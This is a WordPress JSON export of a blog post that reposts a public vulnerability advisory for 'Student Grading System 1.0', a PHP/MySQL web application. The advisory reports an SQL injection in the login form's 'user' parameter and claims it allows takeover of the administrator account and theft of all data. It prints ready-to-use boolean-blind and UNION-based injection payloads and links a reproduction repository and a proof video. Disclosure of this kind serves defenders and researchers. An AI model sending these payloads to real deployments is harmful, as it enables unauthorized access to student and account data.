{"id":21730,"date":"2022-03-14T23:58:17","date_gmt":"2022-03-14T20:58:17","guid":{"rendered":"https:\/\/packetstormsecurity.com\/files\/166287\/sgs10-sql.txt"},"modified":"2022-03-15T14:27:11","modified_gmt":"2022-03-15T10:57:11","slug":"student-grading-system-1-0-sql-injection","status":"publish","type":"post","link":"https:\/\/afaghhosting.net\/blog\/student-grading-system-1-0-sql-injection\/","title":{"rendered":"Student Grading System 1.0 SQL Injection"},"content":{"rendered":"<p dir=\"ltr\">## Title: Student Grading System v1.0 SQLi<br \/>\n## Author: nu11secur1ty<br \/>\n## Date: 03.14.2022<br \/>\n## Vendor: https:\/\/www.sourcecodester.com\/users\/tips23<br \/>\n## Software: https:\/\/www.sourcecodester.com\/php\/14522\/student-grading-system-using-phpmysql-source-code.html<br \/>\n## Reference: https:\/\/github.com\/nu11secur1ty\/CVE-nu11secur1ty\/tree\/main\/vendors\/oretnom23\/2022\/Student-Grading-System<\/p>\n<p dir=\"ltr\">## Description:<br \/>\nThe `user` parameter appears to be vulnerable to SQL injection attacks.<br \/>\nA single quote was submitted in the user parameter, and a database<br \/>\nerror message was returned.<br \/>\nTwo single quotes were then submitted and the error message disappeared.<br \/>\nYou should review the contents of the error message, and the<br \/>\napplication&#8217;s handling of other input, to confirm whether a<br \/>\nvulnerability is present.<br \/>\nThe attacker can take administrator account control and also of all<br \/>\naccounts and files information on this system, also the malicious user<br \/>\ncan download all information about this system.<\/p>\n<p dir=\"ltr\">Status: CRITICAL<\/p>\n<p dir=\"ltr\">[+] Payloads:<\/p>\n<p dir=\"ltr\">&#8220;`mysql<\/p>\n<p dir=\"ltr\">&#8212;<br \/>\nParameter: user (POST)<br \/>\nType: boolean-based blind<br \/>\nTitle: OR boolean-based blind &#8211; WHERE or HAVING clause<br \/>\nPayload: user=-6693&#8242; OR 2950=2950&#8211; qPwW&amp;pwd=d0Y!w7s!B1<\/p>\n<p dir=\"ltr\">Type: UNION query<br \/>\nTitle: Generic UNION query (random number) &#8211; 6 columns<br \/>\nPayload: user=-7952&#8242; UNION ALL SELECT<br \/>\n5650,5650,CONCAT(0x71786a7a71,0x7564497973726b65496f6e5778706143684359517149546e46776d6843484a504e624e7967484c57,0x716b627171),5650,5650,5650&#8211;<br \/>\n-&amp;pwd=d0Y!w7s!B1<br \/>\n&#8212;<\/p>\n<p dir=\"ltr\">&#8220;`<\/p>\n<p dir=\"ltr\">## Reproduce:<br \/>\n[href](https:\/\/github.com\/nu11secur1ty\/CVE-nu11secur1ty\/tree\/main\/vendors\/oretnom23\/2022\/Student-Grading-System)<\/p>\n<p dir=\"ltr\">## Proof and Exploit:<br \/>\n[href](https:\/\/streamable.com\/h0x4xl)<\/p>\n","protected":false},"excerpt":{"rendered":"<p>## Title: Student Grading System v1.0 SQLi ## Author: nu11secur1ty ## Date: 03.14.2022 ## Vendor: https:\/\/www.sourcecodester.com\/users\/tips23 ## Software: https:\/\/www.sourcecodester.com\/php\/14522\/student-grading-system-using-phpmysql-source-code.html ## Reference: https:\/\/github.com\/nu11secur1ty\/CVE-nu11secur1ty\/tree\/main\/vendors\/oretnom23\/2022\/Student-Grading-System ## Description: The `user` parameter appears to be vulnerable to SQL injection attacks. A single quote was submitted in the user parameter, and a database error message was returned. Two single quotes were &hellip;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-21730","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/21730","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=21730"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/21730\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=21730"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=21730"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=21730"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}